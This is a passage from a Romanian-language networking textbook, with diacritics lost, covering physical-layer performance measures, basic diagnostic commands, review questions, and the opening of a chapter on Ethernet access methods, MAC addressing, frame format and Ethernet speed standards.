band, indicnd cte date pot fi trimise ntr-un interval de timp, se msoar n bii pe secund. O eroare frecvent este confundarea biilor pe secund (bps) cu octei/bytes pe secund (Bps). Biii pe secund msoar viteza de transmisie, iar octeii pe secund msoar cantitatea de informaii. Raportul dintre acestea este de 8 (bii) la 1 (octet). Latena este un alt indicator de performan foarte important: de exemplu atunci cnd nu putem realiza videoconferine deoarece se vede sacadat, s-ar putea ca latena s fie prea mare. Aceasta se msoar, n general, n milisecunde (ms) i reprezint timpul necesar unui bit de a ajunge dintr-un punct n altul al reelei.

48 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1.6.1 Linux
Comand ping ethtool lspci iperf Descriere Msoar latena pn la o adres specificat Vizualizare conexiune i statistici (-S), configurri parametri (-s) pentru o interfa Vizualizare periferice conectate la magistrala sistemului Generare trafic i msurare lime de band

1.6.2 Cisco IOS


Comand enable configure terminal ping show interfaces ? Descriere Activarea modului privilegiat Activarea modului de configurare Msoar latena pn la o adres specificat Vizualizare conexiune i statistici pentru o intefa Afieaz toate opiunile posibile

1.6.3 Windows
Comand ping netsh interface show interface Descriere Msoar latena pn la o adres specificat Vizualizare conexiune i statistici pentru o intefa

N i v e l u l f i z i c | 49

1.7 ntrebri
1. 2. Care este rolul nivelului fizic? De a face corecia erorilor la datele primite De a trimite pe un mediu date sub form de semnale De a verifica adresa surs i a valida datele n funcie de aceasta Cripteaz biii transmii pentru a eficientiza transferul Care din urmtoarele afirmaii este adevrat: Fibra optic este folosit preponderent la cablrile structurate. Fibra optic nu este expus interferenelor electro-magnetice. Cablul de cupru nu este sensibil la interferene de orice fel. Cablul de cupru are firele torsadate pentru a amplifica semnalul i a elimina interferenele.

3. Se presupune un canal ideal de comunicaie, ce are ca vitez de transfer 10Mbps. Dndu-se 1GB de date, n ct timp se realizeaz transferul? 3072/1,25 secunde 3000/10 secunde 3000/1,25 secunde 3000/1 secunde 4. Pentru a configura un ruter, dorim s ne conectm la consola acestuia folosind un cablu: straight-through crossover rollover nu conteaz ordinea, s fie la fel la ambele capete

5. Pentru a putea conecta fibra optic la un echipament, trebuie terminat cu un conector. Procedeul prin care se adaug acest conector se numete: Sertizare Mufare Sudur (splice) Nu are nicio denumire

50 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1.8 Referine
[1] Wikipedia contributors (2012). Fast Ethernet [Internet]. Wikipedia, The Free Encyclopedia; 2012 May 23, 12:27 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=Fast_Ethernet&oldid=493980964 [25.08.2012]. [2] IEEE P802.3ab 1000BASE-T Task Force (1999). IEEE 802.3 Standards. IEEE. Accesat la http://www.ieee802.org/3/ab/index.html [25.08.2012]. [3] IEEE P802.3z Gigabit Task Force (1998). IEEE 802.3 Standards. IEEE. Accesat la http://www.ieee802.org/3/z/index.html [25.08.2012]. [4] IEEE P802.3ae 10Gb/s Ethernet Task Force (2002). IEEE 802.3 Standards. IEEE. Accesat la http://www.ieee802.org/3/ae/index.html [25.08.2012]. [5] IEEE P802.3an 10GBASE-T Task Force (2006). IEEE 802.3 Standards. IEEE. Accesat la http://www.ieee802.org/3/an/index.html [25.08.2012]. [6] Wikipedia contributors (2012). Small form-factor pluggable transceiver. Wikipedia, The Free Encyclopedia; 2012 August 12, 14:17 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=Small_formfactor_pluggable_transceiver&oldid=507042893 [31.08.2012]. [7] Wikipedia contributors (2012). XFP transceiver. Wikipedia, The Free Encyclopedia; 2012 April 5, 01:14 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=XFP_transceiver&oldid=485633876 [31.08.2012]. [8] Wikipedia contributors (2012). XENPACK. Wikipedia, The Free Encyclopedia; 2011 December 22, 03:06 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=XENPAK&oldid=467129675 [31.08.2012]. [9] IEEE P802.3ba 40Gb/s and 100Gb/s Ethernet Task Force (2010). IEEE 802.3 Standards. IEEE. Accesat la http://www.ieee802.org/3/ba/ [25.08.2012].

P a g e | 51

2 Reele Ethernet
Ce se nva n acest capitol? Cine este Radia Perlman a fost implicat n standardizarea reelelor Ethernet nc de la nceputul anilor 80. Cea mai cunoscut contribuie a sa o reprezint Spanning Tree Protocol. Numeroasele sale contribuii n domeniul tehnologiilor de nivel legtur de date i de reea i-au adus renumele de Mother of the Internet. Am discutat n capitolul anterior despre clasificarea reelelor n funcie de distana maxim la care acestea pot oferi conectivitate. n practic, includerea unei reele ntr-una din cele trei categorii, LAN, MAN i WAN, ia drept criteriu suita de protocoale specifice. n cazul reelelor locale cele dou arhitecturi folosite pentru implementare sunt Ethernet i WLAN (Wireless LAN). Ethernet a devenit tehnologia dominant n reelele locale nc din anii '90. Primul standard Ethernet a fost publicat n 1980 de un consoriu format din firmele DEC, Intel i Xerox, reunit sub numele DIX. Cu cteva modificri minore, acesta a devenit, trei ani mai trziu, standardul IEEE 802.3. IEEE i-a asumat un rol important n standardizarea tehnologiilor de nivel legtur de date. Astfel, pe lng suita de standarde folosite n implementarea Ethernet i WLAN, respectiv standardele 802.3 i 802.11, IEEE a definit Bluetooth (802.15), WiMax (802.16), precum i numeroase alte soluii de comunicaie de nivel legtur de date. Din punctul de vedere al reelelor locale o categorie important de standarde IEEE o reprezint familia 802.1. Din aceasta fac parte standarde ce definesc protocoale de asigurare a redundanei, precum STP i RSTP (802.1d, respectiv 802.1w), standarde pentru reele locale virtuale (802.1q, prezentat n capitolul 5), precum i arhitectura de securitate 802.1x. Metode de acces la mediu de comunicaie Formatul datelor n reelele Ethernet Comutarea cadrelor Asigurarea redundanei

2.1 Accesul la mediu


Puine tehnologii au strnit controverse att de intense precum cele din jurul standardelor Ethernet. Central acestei dezbateri a fost conflictul ntre pragmatismul ingineresc i rigoarea matematic a soluiilor de comunicaie. Problema iniial a pornit de la cerina de a asigura comunicaia peste un mediu partajat. Un prim rspuns a propus o metod de arbitrare a accesului la mediul de comunicaie, prin stabilirea mai nti a unei ordini ntre participani, i apoi prin introducerea unui jeton ce oferea dreptul de a trimite date. Astfel fiecare nod de comunicaie i cunoate cei doi vecini: cel de la care ateapt date i cel la care trimite datele. Dac n loc de date primete un jeton (un cadru special de date), atunci poate nlocui acest jeton cu propriile sale date, sau, alternativ, poate trimite mai departe jetonul, oferind astfel staiei urmtoare posibilitatea de a transmite date n reea. Aceast arhitectur poart numele de Token Ring. Dei la nivel logic construiete legturi dedicate ntre nodurile adiacente, la nivel fizic se bazeaz pe o topologie stea cu echipamente ce pot funciona i ntr-un mediu partajat. Cel de al doilea rspuns la problema comunicaiei ntr-un mediu partajat nu a mai ncercat s previn coliziunile, ci doar s le detecteze. n cazul detectrii unei coliziuni, transmisia este sistat, iar fiecare surs are responsabilitatea retrimiterii cadrului implicat n coliziune. Acesta este principiul pe

52 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e baza cruia a fost construit standardul Ethernet: un principiu ingineresc ce spune c, dac rata coliziunilor (i a retransmisiilor) este mic, nu merit pltit costul arbitrrii accesului la mediu.

2.1.1 Reele Ethernet n mediu partajat


Primele standarde Ethernet foloseau drept mediu de transmisie cablul coaxial, oferind tuturor nodurilor acces la acelai mediu de comunicaie partajat. Accesul simultan solicit att implementarea unei metode de arbitrare a comunicaiei, ct i detectarea conflictelor aprute n cazul transmisiilor simultane, conflicte denumite coliziuni. Se primesc date pentru transmisie Asambleaz cadrul

Nu

Mediu liber? Da ncepe transmisia

A aprut o coliziune? Nu Transmite cadrul urmtor

Da

Transmite semnal de bruiaj

ncercri= ncercri+1

Ateapt q microsecunde

Mai sunt cadre? Nu Transmisie ncheiat

Da

ncercri < max_ncercri? Nu Abandoneaz transmisia 2-1 CSMA/CD

Da

Iniiaz algoritmul de backoff

R e e l e E t h e r n e t | 53 O coliziune apare n mediul de comunicaie partajat atunci cnd bii trimii de dou sau mai multe staii diferite sunt pe mediul de comunicaie n acelai timp, ajungndu-se astfel la o compunere a undelor ce transport semnalele respective. Soluia de arbitrare pentru Ethernet a accesului la mediul partajat poart numele de CSMA/CD (Carrier Sense Multiple Access / Collision Detection), prezentat n 2-1. Primul pas al algoritmului CSMA/CD const n verificarea conectivitii la mediul fizic i a absenei semnalului de date. Pentru reelele bazate pe cablu coaxial cele dou teste sunt realizate simultan prin verificarea prezenei undei purttoare. Transmisia unui semnal de date presupune compunerea undei purttoare cu unda asociat codificrii analogice a semnalului de date, constnd deci ntr-o alterare a undei purttoare. Dac mediul de transmisie este accesibil i neocupat, orice staie poate ncepe transmisia propriului semnal de date, existnd astfel posibilitatea ca mai multe noduri s nceap s comunice simultan. n urma detectrii undei compuse fiecare staie ce transmitea date oprete transmisia i ncepe trimiterea unui semnal de bruiaj (jam signal) compus din 32 de bii, ce alterneaz simbolurile corespunztoare pentru 1 i 0. Dup ncheierea trimiterii semnalului de bruiaj fiecare staie implicat n coliziune iniiaz mecanismul de retransmisie pentru cadrul de date afectat de coliziune. Sunt definii doi parametri ce influeneaz funcionarea mecanismului de retransmisie. Primul parametru stabilete numrul maxim de ncercri de retrimitere a pachetului. Cel de al doilea definete ct timp ateapt staia nainte de a ncepe retransmisia, conform algoritmului de backoff. Algoritmul de backoff folosete numrul de retransmisii fcute deja pentru respectivul cadru pentru a defini mai nti un interval de valori pentru parametrul k. Parametrul k va putea lua orice n valoare ntreag n intervalul [0, 2 -1], unde n reprezint numrul de ncercri de transmitere a cadrului. Valoarea final a timpului de ateptare anterior ncercrii unei retransmisii se obine prin multiplicarea parametrului k cu timpul de transmisie a cadrului de lungime minim (este vorba de slot time, prezentat n seciunea 2.2.3. De exemplu, n cazul unei reele Ethernet valoarea slot time este de 51.2 s. n cazul apariiei unei coliziuni ntre dou staii, fiecare dintre acestea va ncerca retransmisia cadrului dup 0 sau 51.2 s. Astfel, pentru prima retransmisie probabilitatea reapariiei unei coliziuni este de 50%. Dac retransmisia se soldeaz cu o nou coliziune, fiecare dintre cele dou staii transmit semnalul de bruiaj i iniiaz algoritmul de backoff pentru cea de a treia ncercare de transmitere a respectivului cadru. Se genereaz local o nou valoare aleatoare pentru k, de data aceasta n intervalul [0, 3]. Astfel, fiecare dintre cele dou noduri implicate n a doua coliziune va alege aleator un timp de ateptare ce poate avea una dintre urmtoarele 4 valori: 0 s, 51.2 s, 102.4s sau 153.6s, reducnd probabilitatea unei noi coliziuni la 25%.

2.1.2 Full-duplex Ethernet


Soluiile pentru asigurarea conectivitii n reele Ethernet au evoluat spre medii de transmisie dedicate. n cazul cablului torsadat, precum i al fibrei optice, sunt folosite fire diferite pentru transmisia i recepia datelor. Astfel, din punctul de vedere al nivelului fizic cele dou comunicaii sunt izolate. Un astfel de mediu de transmisie poart denumirea de mediu full-duplex. Exist dou moduri de transmisie (numite i duplex): half-duplex i full-duplex. n modul de transmisie half-duplex o staie nu poate trimite i primi n acelai timp: ori transmite, ori primete. De exemplu, cablul coaxial este prin definiie un mediu pentru half-duplex, pentru c transmisia i recepia se realizeaz pe acelai fir. Pe cablurile torsadate, ns, prin folosirea unei perechi separate pentru transmisie (numit Tx) i unei alte perechi pentru recepie (numit Rx) se poate asigura suportul pentru comunicaia full-duplex. Pentru ca o comunicaie s fie full-duplex trebuie ca att mediul de transmisie, ct i participanii la conversaie s ofere suport full-duplex. Cablul torsadat reprezint un mediu de comunicaie fullduplex, dar, dac se folosete un hub sau o plac de reea configurat half-duplex, comunicaia se va realiza half-duplex.

54 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Switch-urile i plcile de reea actuale ofer cel mai adesea suport att pentru comunicaia fullduplex, ct i pentru cea half-duplex. Modul de funcionare poate fi configurat manual (din driver-ul plcii de reea sau din interfaa switch-ului), sau automat, n urma negocierii. Dac autonegocierea nu reuete i nu sunt fcute setri manuale, transmisia se va realiza n modul half-duplex. Exist totui interfee i echipamente de reea care, pentru a costa ct mai puin, nu au memorii tampon la nivelul portului, fcnd astfel imposibil transmiterea i recepia simultan. ntr-un astfel de caz interfaa va funciona half-duplex, impunnd activarea mecanismului CSMA/CD de acces la mediu. Rularea CSMA/CD n cadrul unei reele bazate pe un mediu dedicat, precum cel oferit de reelele de cablu torsadat sau cele de fibr optic, difer doar prin definirea coliziunilor. Paii de trimitere a semnalului de bruiaj, a activrii mecanismului de retransmisie i a calculrii algoritmului de backoff rmn neschimbai. n reelele half-duplex bazate pe cablu torsadat sau pe fibr optic folosirea simultan a firelor de transmisie i recepie de la nivelul unei interfee este definit drept o coliziune. n cazul full-duplex, nu se mai folosete modul de acces la mediu CSMA/CD pentru c aceasta nu mai este o reea de tip mediu partajat. Mai exact, dac este posibil transmiterea i primirea de date n acelai timp, nu mai pot avea loc coliziuni. Astfel, n cadrul unei transmisii full-duplex, nu se mai realizeaz detecia de coliziuni. Limitrile de distan din standardele Ethernet sunt specificate pentru modul de acces la mediu CSMA/CD, nefiind valabile pentru full-duplex. Aceste limitri sunt cel mai adesea calculate astfel nct s permit tuturor staiilor conectate s sesizeze apariia unei coliziuni. n condiiile full-duplex singura limitare a distanei este cea tehnologic. Un exemplu este FastEthernet pe fibr optic singlemode, a crui distan este limitat de standardul IEEE 802.3 la 3000 m n condiii de acces CSMA/CD; ns, pentru o legtur punct-la-punct full-duplex, se pot folosi transceiver-uri puternice, obinnd o legtur de pn la 120 km. Standardul 10 Gigabit nu mai prevede un mod de comunicaie half-duplex ci doar full-duplex, motiv pentru care toi parametrii legai de apariia coliziunilor (numr de ncercri, timp de backoff, etc.) sunt nespecificai.

2.2 ncapsularea datelor n reelele Ethernet


2.2.1 Adresarea MAC
Nivelul legtur de date este responsabil cu trimiterea de cadre. Pentru eficientizarea transmiterii, nivelul 2 i propune identificarea participanilor la conversaie, eliminnd astfel necesitatea livrrii cadrului ctre toate destinaiile din reeaua local. Pentru a rezolva problema identificrii unice a nodurilor implicate n comunicaia de nivel legtur de date, IEEE a propus o schem de adresare bazat pe iruri unice de 48 de bii, denumite adrese MAC. Acronimul MAC (Media Access Control) identific un subnivel al nivelului legtur de date, responsabil cu ncapsularea datelor n cadre, precum i de interfaarea cu nivelul fizic. Adresa MAC este un ir de 48 de bii folosit pentru asigurarea unicitii n reelele Ethernet. Popularitatea protocolului Ethernet a dus la extinderea aplicabilitii adresrii MAC i pentru alte standarde IEEE, cel mai important dintre acestea fiind 802.11 (Wireless LAN). Pentru reprezentarea celor 48 de bii ce descriu o adres MAC se folosete forma hexadecimal, reducnd lungimea total a adresei la 12 cifre hexadecimale. n general octeii (fiecare dou cifre hexa) sunt separai prin simbolul : sau .. n reelele Ethernet se ofer suport pentru 3 tipuri de comunicaie, definite de tipul adresei destinaie folosite: direct (unicast), prin difuzare (broadcast) i cu destinaie multipl (multicast). Pentru schema de adresare MAC exist o singur adres de difuzare reprezentat de 48 de bii de 1, adic adresa FF:FF:FF:FF:FF:FF. O astfel de adres nu poate aprea dect ca destinaie a unui cadru.

R e e l e E t h e r n e t | 55 Adresele de multicast sunt definite de valoarea impar a celui mai semnificativ octet. Altfel spus o adres de multicast este o adres MAC pentru care valoarea bitului 40 este 1. Un exemplu de adres MAC multicast este adresa de nivel 2 folosit de protocolul EIGRP: 01:00:5E:00:00:0A. Se poate observa c valoarea octetului cel mai semnificativ este 0x01, fiind deci impar. Ca i n cazul adresei de difuzare, o adres multicast nu poate s apar dect n cmpul destinaie al unui cadru. Cea de a treia categorie de adrese MAC o reprezint adresele MAC unicast. Acestea sunt folosite pentru transmiterea datelor ctre un singur destinatar. Adresele unicast sunt singurele ce pot fi folosite ca i adres surs a unui cadru de date. Pentru o adres de unicast cel mai semnificativ octet este par. Spre exemplu, adresa 78:E7:D1:7F:D3:49 este o adres de unicast pentru c 0x78 este o valoare par. O adres MAC este stocat n memoria ROM i este ncrcat n RAM n momentul iniializrii plcii de reea. Din aceast cauz adresele MAC mai sunt numite i adrese fizice sau burned-in addresses (BIAs). Aceste adrese sunt adrese MAC de unicast. Pentru a reduce complexitatea procesului de verificare a unicitii adreselor MAC, IEEE a delegat aceast responsabilitate productorilor de echipamente de reea. Astfel, cei mai semnificativi 3 octei din adresa MAC sunt folosii pentru identificarea productorului, acest cmp fiind denumit OUI (Organizational Unique Identifier). Ultimii 3 octei (un spaiu de peste 16 milioane de adrese) sunt folosii de fabricant pentru a asigura unicitatea fiecrei interfee Ethernet (sau Wireless). Dei cmpul OUI din adresa MAC permite identificarea fabricantului interfeei de reea, din punctul de vedere al funcionrii reelelor locale aceast informaie nu poate fi folosit pentru optimizarea cutrii ntr-o mulime de adrese. Astfel orice operaie de cutare a unei adrese MAC este echivalent cu o cutare ntr-o mulime neordonat, i deci va avea o complexitate liniar.

2.2.2 Formatul cadrelor Ethernet


n ceea ce privete cadrul Ethernet, protocolul ofer trei tipuri de informaii: identificarea destinaiei i a sursei pe baza unei adrese MAC, precizarea protocolului de nivel superior (adic de nivel reea) i o sum de control pentru verificarea integritii datelor. Structura cadrului Ethernet este aproape identic indiferent de varianta de Ethernet folosit, i conine urmtoarele cmpuri repartizate pe 18 octei, dup cum este reprezentat n 2-2: 6 6 2 46-1500 4 Adres Adres Sum de Lungime/Tip Date destinaie surs control 2-2 Structura cadrului Ethernet Antetul Ethernet const n 14 octei, mprii n trei cmpuri: 6 octei pentru adresa destinaie, 6 octei pentru adresa surs i 2 octei pentru cmpul lungime/tip. Cmpul lungime/tip din antetul Ethernet este ns interpretat ca lungime a cadrului dac valoarea sa este mai mic de 1536 (0x600 n hexazecimal). Aceasta se ntmpl doar pentru reelele Ethernet bazate pe cablu coaxial. n reele Ethernet bazate pe cablu torsadat sau pe fibr optic acest cmp este folosit doar pentru specificarea protocolului din atentul urmtor. Spre exemplu, pentru a preciza c urmtorul antet este un antet IPv4 valoarea cmpului tip este 0x0800, iar pentru un antet IPv6 valoarea cmpului tip este 0x86DD. n reelele Ethernet, pentru a asigura detecia corect a coliziunilor este definit o limit pentru cadrul de lungime minim. Astfel, dac un cmp de date are dimensiune mai mic de 46 de octei (limita impus de standard) vor fi adugai bii de zero (padding) pn la atingerea dimensiunii minime. Pentru a preveni acapararea mediului de transmisie de o singur staie este definit i o limit superioar a cadrului. Limita maxim a cmpului de date poart numele de MTU (Maximum Transmission Unit), valoarea sa pentru Ethernet fiind de 1500 de octei. Ca urmare a definirii celor dou limite un cadru Ethernet va avea o dimensiune cuprins ntre 64 i 1518 de octei.

56 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Suma de control este ataat la sfritul cadrului, sub forma unui cmp de 4 octei, n scopul detectrii erorilor de transmisie. Datorit evoluiei tehnologiilor de nivel fizic, numrul erorilor de transmisie n cadrul reelelor locale este redus, scznd relevana procesului de detectare a erorilor CRC.

2.2.3 Caracteristici ale reelelor Ethernet


Pentru descrierea standardelor Ethernet au fost definite o serie de noiuni, cele mai importante fiind: Bit time, Slot time i Interframe spacing. Bit time reprezint timpul necesar transmiterii unui singur bit. Valoarea sa este uor de calculat pornind de la viteza de transmisie. Astfel, pentru o reea Ethernet viteza este 10 Mbps, iar timpul de transmitere a unui bit este de 100 ns. Pentru Fast Ethernet timpul de transmitere a unui bit este de 10 ns, la Gigabit Ethernet fiind de 1 ns. Interframe spacing reprezint timpul minim necesar ntre dou cadre succesive. Acesta este un mecanism menit s ofere prioritate staiilor ce nu au transmis (i care, prin urmare, nu trebuie s atepte acest interval de timp). Valoarea sa este de 96 de ori intervalul de transmitere a unui bit. Pentru Ethernet interframe spacing are valoarea de 9,6 s, iar pentru Gigabit Ethernet de 96 ns. Slot time este timpul necesar traversrii de dou ori (dus i ntors) a segmentului de lungime maxim din reea. Valoarea acestuia este dat de timpul de transmisie a cadrului de lungime minim. Pentru reele Ethernet i Fast Ethernet slot time este 512 * Bit time, adic 51,2 s, respectiv 5,12 s. Pentru Gigabit Ethernet cadrul de lungime minim are 4096 de bii, slot time fiind de 4,096 s. Slot time este o caracteristic a reelelor half-duplex, nefiind definit pentru standarde full-duplex. Pentru a nelege corelaia ntre timpul necesar transmiterii cadrului de lungime minim i timpul necesar traversrii i ntoarcerii pentru cel mai lung segment putem considera urmtorul scenariu. Fie o staie ce transmite succesiv dou cadre de lungime minim. Primul cadru ajunge n cel mai ndeprtat punct al reelei (fr a traversa vreun echipament de nivel reea) i exact n acel moment o staie ce tocmai verificase c nu exist semnal de date pe fir va ncepe transmisia. Coliziunea aprut va trebui s parcurg ntreg drumul napoi ctre surs. Dac timpul total este mai mare dect timpul de transmitere a cadrului de lungime minim, sursa va primi informaia despre apariia unei coliziuni cnd deja a iniiat transmiterea celui de al doilea cadru. Astfel, conform CSMA/CD, sursa va sista transmiterea cadrului al doilea i va iniia procedura de retransmitere pentru acesta i nu pentru primul cadru (cel implicat n coliziune), ducnd la disfuncionaliti persistente n comunicaie.

2.2.4 FastEthernet i Gigabit Ethernet


Btlia pe care Ethernet a ctigat-o cu Token Ring pentru supremaia comunicaiei n reelele locale a deschis drumul pentru IEEE n dezvoltarea standardului 802.3, odat cu maturizarea Internetului. n contextul obinerii unei caliti superioare de cupru (CAT 5) i apariiei fibrei optice ca mediu fizic de transmisie, FastEthernet a fost introdus in 1995 ca un set de standarde al cror nivel MAC promova o lime de band de 100Mb/s la o distan de 100m. Comunitatea a primit FastEthernet cu braele deschise, mai ales pentru c acest standard era backwards-compatible, pstrnd compatibilitatea cu Ethernet din punct de vedere al formatului cadrului i al regulilor CSMA/CD. La momentul introducerii FastEthernet, toate topologiile erau n forma Star, avnd un hub ca dispozitiv de interconectare a reelei locale. Dac analizm limea de band a unei reele Ethernet construite din 10 staii i legate printr-un hub, putem trage concluzia c fiecare staie are ~1Mb/s de throughput ntr-o comunicare concomitent. Trecnd toat reeaua pe FastEthernet, fiecare staie ar avea de 10 ori mai mult throughput. Mai mult de att, trecerea la FastEthernet s-a petrecut n acelai timp cu nlocuirea generalizat a hub-urilor cu switch-uri. Acestea din urm au introdus idea de band dedicat n reea, fiecare staie conectat aflndu-se n propriul domeniu de coliziune. Lund exemplul topologiei de mai sus, upgrade-ul la FastEthernet alturi de nlocuirea hub-urilor cu switch-uri ar duce la o band dedicat de 100Mb/s pentru fiecare staie (ct timp puterea de comutare a switch-ului este ndeajuns de mare pentru a suporta comunicaia concomitent). Comparaia este ilustrat n 2-3 Hub Ethernet vs. Switch FastEthernet:

R e e l e E t h e r n e t | 57

1 Mb/s throughput 10 hosts Ethernet hub 10 hosts

10 Mb/s throughput

2-3 Hub Ethernet vs. Switch FastEthernet Din toate standardele aflate sub umbrela numelui de FastEthernet, cel mai mare nivel de adopie l-a avut, indiscutabil, 100BASE-TX. Acesta este o tehnologie de transmisie digital (de unde abrevierea BASE), peste cablu UTP de puritate CAT 5, la o lime de band maxim de 100Mb/s. Pentru a obine aceast lime de band sunt folosite aceleai perechi de fire (1,2 TX i 3,6 RX) pentru transmisie i recepie, adugndu-se ns standardul 4B/5B de codare. Acest standard presupune adugarea unui bit la fiecare 4 bii transmii pentru a asigura ndeajuns de multe tranziii de ceas i a evita desincronizarea n cazul transmisiei unui lung ir de 0 sau de 1. FastEthernet a fost de asemenea primul tip de Ethernet care a introdus un standard pentru fibr optic: 100BASE-FX. Pentru c fibra era nc destul de scump, dar i pentru c viteza de doar 100Mb/s nu era nc att de mare pentru a motiva utilizarea fibrei optice n Ethernet, standardul nu s-a bucurat de foarte mult succes. Odat cu implementarea n mainstream a FastEthernet, timp de 3 ani acesta s-a bucurat de o mare popularitate, ridicnd ateptrile pentru ceea ce avea s urmeze. GigabitEthernet nu avea s fie un standard uor de dezvoltat, acesta introducnd mari provocri tehnice din punct de vedere electric i procedural. Pentru c semnalul este pus ntr-o fraciune din timpul necesar n 100BASE-TX, biii sunt mult mai susceptibili la zgomot pe fir, sincronizarea devenind foarte important. Performana de a transmite 1Gb/s depinde esenial de ct de repede poate interfaa de reea s schimbe nivelele de tensiune ntr-un sistem complex de codare i de ct de sigur poate captul cellalt al conexiunii s detecteze aceste schimbri la o distan de 100m. Gigabit Ethernet a fost ratificat de IEEE n 1999 i a continuat direcia deschis de FastEthernet prin introducerea de standarde pentru cupru i fibr la nivelul fizic, att n modul full-duplex ct i half-duplex. Primul standard ce folosete UTP CAT 5e care a fost adoptat pe scar larg a fost 1000BASE-T. Acesta folosete toate perechile de fire pentru transmisie i recepie, profitnd de calitatea superioar a cuprului CAT 5e pentru a ajunge la o lime de band de 125Mb/ s pe fiecare pereche utilizat. Pentru a putea totui ajunge la viteza de 1Gb/s, Gigabit Ethernet transmite semnal n acelai timp, pe aceeai pereche de fire, n ambele sensuri. Astfel avem 125Mb/s (pe fiecare pereche)*4 perechi*2(full-duplex)=1000Mb/s. Variantele peste fibr optic a Gigabit Ethernet au fost definite n standardele 1000BASE-SX (lungimea de und a semnalului luminos de 850nm) i 1000BASE-LX (lungimea de und a semnalului luminos de 850nm). Ambele standarde ajung pn la 1250 Mbps full-duplex folosind dou fibre separate pentru transmisie i recepie. Codarea semnalului este bazat pe 8B/10B, o variant extins a 4B/5B care, dei foarte eficient n sincronizare, introduce mult overhead. Astfel, throughput-ul real la nivel 2 este de 1000Mbps. La nivel aplicaie, ns, acesta este i mai mic, deoarece se adaug antetele de la toate nivelele din stiva OSI, alturi de informaiile de sesiune i prezentare.

58 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.2.5 Ethernet n reele WAN


Spargerea barierei de 1000 Mbps din 1999 a reprezentat o victorie important n scalarea reelelor locale i a deschis, n acelai timp, drumul ctre folosirea tehnologiei Ethernet n WAN. Ideea a fost primit cu braele deschise, Ethernet fiind un protocol destul de simplu care i-a demonstrat capabilitile de-a lungul a zeci de ani de implementare i testare n LAN. ncet, ncet, sintagma Internetul Ethernet, IP i MPLS a nceput s fie din ce n ce mai popular, astfel nct IEEE a mpins dezvoltarea 10Gb Ethernet, pe care l-au i standardizat n 2002(802.3ae). Ca standard Ethernet, 10Gbps a fost primul care nu avea definit funcionarea half-duplex, acesta putnd fi implementat doar full-duplex pe fibr sau cupru. Astfel CSMA/CD nu a mai fost necesar, iar viteza bit-time a fost automat promovat la 0.1ns. Orice tehnologie Ethernet e construit pe cele 2 nivele ale stivei OSI, PHY (nivel 1) i MAC (nivel 2). PHY definete standardul fizic, procedural, electric, conectori etc. iar MAC definete metoda de acces, viteza de transmisie etc. n cazul PHY, 10Gbps a fost primul standard care a primit interfee WAN PHY care funcionau la viteze ceva mai mici dect cele LAN, adugnd i ncapsulare suplimentar. Dintre acestea enumerm 10GBASE-SR, construit pentru fibr multi-mode i respectiv 10GBASE-LR pentru fibr single-mode. Ambele PHY-uri folosesc laserul ca tehnologie de transmisie a semnalului la nivel fizic pe lungime de und 850nm, respectiv 1310nm. Lungimea de und de 1550nm este folosit doar pentru viteze de maxim 1 Gbps, fiind posibil n acest caz folosirea unui emitor de tip LED n loc de laser. Apariia 802.3ae a alimentat dezvoltarea Internetului, astfel nct pn n 2009, conform graficului de mai jos (2-4) publicat de LINX n Marea Britanie, traficul Inter-ISP a crescut de 3 ori. Studiul fiind axat pe componente de core din Internet, n aceast perioad a sporit presiunea pentru dezvoltarea unui nou succesor al 802.3.

2-4 Evoluia traficului Inter-ISP Cisco a publicat n 2008 un studiu care susine c traficul n Internet va crete de 7 ori din 2007 pn n 2012, ajungnd la 44 de exabytes pe lun. Aceast prezicere a fost uor depit la nceputul anului 2012. Organizaiile de standardizare s-au mobilizat la civa ani dup 802.3ae, bazndu-se pe aceste studii pentru a pentru a descoperi care este pasul urmtor. n anul 2006 compania cea mai puternic din spatele 10GE, Force10, a realizat un CFI (Call For Interest) pentru organizarea unui comitet HSSG (High Speed Study Group) construit din reprezentanii celor mai mari companii din domeniu. Pe parcursul urmtorului an au avut loc discuii acerbe n HSSG pentru stabilirea urmaului 10GE. La nceput majoritatea comitetului nclina spre a pstra regula de vitez nzecit i a adopta direct un standard pentru 100GE. Cu timpul ns, o analiz atent a pieei a descoperit nevoi diferite privind upgrade-ul de la 10GE. La nivel Enterprise Edge, companiile doreau s economiseasc ct mai mult n noul standard i votau 40GE, pe cnd n SP Core i Datacenter existau cerine pentru 100GE. Pentru a putea merge mai departe, s-a decis dezvoltarea n paralel a ambelor viteze la nivel MAC, ntr-un

R e e l e E t h e r n e t | 59 singur viitor standard. Studiile de expansiune a Internetului au nglobat cele 2 viteze anunate ntr-o prezicere de adopie n WAN: 2007-2014 (vezi 2-5).

2-5 Prognoza adopiei standardelor noi n iunie 2010 standardul ratificat 802.3ba a specificat vitezele 40Gbps i 100Gbps n funcie de arhitectura integrat de circuite folosite la nivelul PHY. n termeni OSI, pentru cele 2 nivele, MAC i PHY, standardul a fost dezvoltat pentru a respecta urmtoarele reguli de baz: Pstrarea aceluiai format al cadrului 802.3 Oferirea unei rate de transmisie MAC de 40Gb/s o Cel puin 10km distan de transmisie cu SMF (Single Mode Fiber) o Cel puin 100m distan de transmisie cu OM3 MMF (Multi Mode Fiber) o Cel puin 10m distan de transmisie peste cupru (non-UTP) Oferirea unei rate de transmisie MAC de 100Gb/s o Cel puin 10km distan de transmisie cu SMF (Single Mode Fiber) o Cel puin 100m distan de transmisie cu OM3 MMF (Multi Mode Fiber) o Cel puin 10m distan de transmisie peste cupru (non-UTP) Este remarcabil c obiectivele standardului nu au coninut i specificri pentru transmiterea peste cablu torsadat UTP (cuprul de mai sus nu se refer la cablul torsadat folosit n LAN). Totui, exist proiecte secundare care i propun transmisia de 100Gb/s n LAN peste cablu torsadat CAT 7 la distane de 100Mb/s. Aceste implementri sunt ns departe de a fi folosite pe scar larg, ele fiind nc n stagiul de cercetare i adoptare pilot (innovator-adoption). Din punct de vedere tehnic, viteza maxim de 100Gb/s a standardului este obinut prin tehnologia de Parallel 